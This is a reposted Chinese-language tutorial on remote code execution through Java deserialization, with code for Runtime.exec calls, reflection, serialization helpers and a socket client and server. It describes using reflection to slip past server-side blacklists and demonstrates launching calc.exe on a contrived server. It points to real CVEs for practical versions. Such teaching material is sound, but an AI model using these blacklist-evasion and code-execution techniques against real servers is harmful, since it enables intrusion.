首頁  >  文章  >  運維  >  java反序列化引發的遠端程式碼執行漏洞原理分析

java反序列化引發的遠端程式碼執行漏洞原理分析

王林
王林轉載
2019-11-30 17:50:382584瀏覽

java反序列化引發的遠端程式碼執行漏洞原理分析

主要有3個部分組成:

#1、Java的反省機制

2、Java的序列化處理

3、Java的遠端程式碼執行

Java的反射與程式碼執行

#我們先看個簡單的例子,使用Java呼叫計算器程式:

import java.io.IOException;
import java.lang.Runtime;
public class Test {
    public static void main(String[] args) {
        Runtime env = Runtime.getRuntime();
        String cmd = "calc.exe";        
    try {
            env.exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

我們從java.lang套件中導入Runtime類,之後呼叫其getRuntime方法得到1個Runtime對象,該對象可以用於JVM虛擬機運行狀態的處理。接著我們呼叫其exec方法,傳入1個字串作為參數。

此時,將啟動本機上的計算器程式。

下面我們透過Java的反省機制來重寫上述的程式碼。透過Java的反省機制可以動態的呼叫程式碼,而逃過一些服務端黑名單的處理:

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test {

    public static void main(String[] args) {
        try {
            Class<?> cls = Class.forName("java.lang.Runtime");            
            String cmd = "calc.exe";
            try {
                Method getRuntime = cls.getMethod("getRuntime", new Class[] {});                
                Object runtime = getRuntime.invoke(null);
                Method exec = cls.getMethod("exec", String.class);
                exec.invoke(runtime, cmd);
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (SecurityException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            } catch (IllegalArgumentException e) {
                e.printStackTrace();
            } catch (InvocationTargetException e) {
                e.printStackTrace();
            }
        } catch (ClassNotFoundException e1) {
            e1.printStackTrace();
        }
    }
}

上述程式碼看起來很繁瑣,實際上並不是很難。首先,透過Class.forName傳入1個字串作為參數,其傳回1個Class的實例。而其作用是根據對應的名稱找到對應的類別。

接著我們使用Class實例的getMethod方法取得對應類別的getRuntime方法,由於該類別沒有參數,因此可以將其設為null或使用匿名類別來處理。

Method getRuntime = cls.getMethod("getRuntime", new Class[] {});

之後透過得到的方法的實例的invoke方法呼叫對應的類別方法,由於沒有參數則傳入null即可。同理,我們再取得到exec方法。

Java序列化處理

對於Java中的序列化處理,對應的類別需要實作Serializable接口,例如:

import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class Reader implements Serializable {
    private static final long serialVersionUID = 10L;    
    private void readObject(ObjectInputStream stream) {
        System.out.println("foo...bar...");
    }    public static byte[] serialize(Object obj) {        //序列化对象
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream output = null;        
    try {
            output = new ObjectOutputStream(out);
            output.writeObject(obj);
            output.flush();
            output.close();

        } catch (IOException e) {
            e.printStackTrace();
        }        return out.toByteArray();

    }    public static Object deserialize(byte[] bytes) {        //反序列化处理
        ByteArrayInputStream in = new ByteArrayInputStream(bytes);
        ObjectInputStream input;
        Object obj = null;        
    try {
            input = new ObjectInputStream(in);
            obj = input.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }        return obj;

    }    
    public static void main(String[] args) {        
    byte[] data = serialize(new Reader()); //对类自身进行序列化
        Object response = deserialize(data);
        System.out.println(response);
    }
}

在這裡我們重寫了該類別的readObject方法,用於讀取物件用於測試。其中比較重要的2個函數是serialize和deserialize,分別用於序列化和反序列化處理。

其中,serialize方法需要傳入1個物件作為參數,其輸出結果為1個位元組陣列。在該類別中,其中的物件輸出流ObjectOutputStream主要用於ByteArrayOutputStream進行包裝,之後使用其writeObject方法將物件寫入進去,最後我們透過ByteArrayOutputStream實例的toByteArray方法得到位元組數組。

而在deserialize方法中,需要傳入1個位元組數組,而傳回值為1個Object物件。與先前的序列化serialize函數類似,此時我們使用ByteArrayInputStream接收位元組數組,之後使用ObjectInputStream對ByteArrayInputStream進行包裝,接著呼叫其readObject方法得到1個Object對象,並將其傳回。

當我們執行該類別時,將得到如下的結果:

java反序列化引發的遠端程式碼執行漏洞原理分析

Java遠端通訊與傳輸

#為了實現Java程式碼的遠端傳輸及遠端程式碼執行,我們可以藉助RMI、RPC等方式。而在這裡我們使用Socket進行服務端及客戶端處理。

首先是伺服器端,監聽本地的8888端口,其程式碼為:

import java.net.Socket;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
public class Server {
    public static void main(String[] args) throws ClassNotFoundException {        
    int port = 8888;        
    try {
            ServerSocket server = new ServerSocket(port);
            System.out.println("Server is waiting for connect");
            Socket socket = server.accept();
            InputStream input = socket.getInputStream();            
            byte[] bytes = new byte[1024];
            int length = 0;            
            while((length=input.read(bytes))!=-1) {
                String out = new String(bytes, 0, length, "UTF-8");
                System.out.println(out);
            }
            input.close();
            socket.close();
            server.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

我們透過傳入1個連接埠來實例化ServerSocket類,此時得到1個伺服器的socket,之後呼叫其accept方法接收客戶端的請求。此時,得到了1個socket對象,而透過socket對象的getInputStream方法取得輸入流,並指定1個長度為1024的位元組數組。

接著呼叫socket的read方法讀取那麼指定長度的位元組序列,之後透過String建構器將位元組陣列轉換為字串並輸出。這樣我們就得到了客戶端傳輸的內容。

而對於客戶端器,其程式碼類似如下:

import java.io.IOException;
import java.net.Socket;
import java.io.OutputStream;
public class Client {
    public static void main(String[] args) {
        String host = "192.168.1.108";        
        int port = 8888;
        try {
            Socket socket = new Socket(host, port);
            OutputStream output = socket.getOutputStream();
            String message = "Hello,Java Socket Server";
            output.write(message.getBytes("UTF-8"));
            output.close();
            socket.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

在客戶端,我們透過Socket物件傳遞要連接的IP位址和端口,之後透過socket物件的getOutputStream方法取得到輸出流,用於往伺服器端發送輸出。由於這裡只是演示,使用的是本地的主機IP。而在實際應用中,如果我們知道某個外網主機的IP及開放的端口,如果當前主機存在對應的漏洞,也是可以利用類似的方式來實現的。

這裡我們設定要傳輸的內容為UTF-8編碼的字串,俄日在輸出流的write方法中透過字串的getBytes指定其編碼,從而將其轉換為對應的位元組數組進行發送。

正常情況下,我們運行伺服器後再運行客戶端,在伺服器端可以得到以下輸出:

Server is waiting for connect
Hello,Java Socket Server

Java反序列化与远程代码执行

下面我们通过Java反序列化的问题来实现远程代码执行,为了实现远程代码执行,我们首先在Reader类中添加1个malicious方法,其代码为:

public Object malicious() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("Hacked the Server...");        
        return this;
    }

在该方法中我们使用之前的介绍调用宿主机器上的计算器程序,然后输出1个相关信息,最后返回当前类。

之后是对服务器端的代码进行如下的修改:

while((length=input.read(bytes))!=-1) {
    Reader obj = (Reader) Reader.deserialize(bytes);
    obj.malicious();
}

我们在接收到客户端对应的字符串后对其进行反序列处理,之后调用某个指定的函数,从而实现远程代码的执行。而在客户端,我们需要对其进行序列化处理:

Reader reader = new Reader();
byte[] bytes = Reader.serialize(reader);
String message = new String(bytes);
output.write(message.getBytes());

下面我们在宿主机器上运行服务器端程序,之后在本地机器上运行客户端程序,当客户端程序执行时,可以看到类似如下的结果:

java反序列化引發的遠端程式碼執行漏洞原理分析

可以看到,我们成功的在宿主机器上执行了对应的命令执行。

总结

为了实现通过Java的反序列问题来实现远程代码执行的漏洞,我们需要编写1个有恶意代码注入的序列化类。之后在客户端将恶意代码序列化后发送给服务器端,而服务器端需要调用我们期望的方法,从而触发远程代码执行。

为了避免服务器端进行一些安全处理,我们可以采用反射的方式来逃逸其处理。

这里只是1个简化的过程,更加实用的过程可以参考Apache Common Collections的问题导致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-7501

推荐相关文章教程:web安全教程

以上是java反序列化引發的遠端程式碼執行漏洞原理分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:freebuf.com。如有侵權,請聯絡admin@php.cn刪除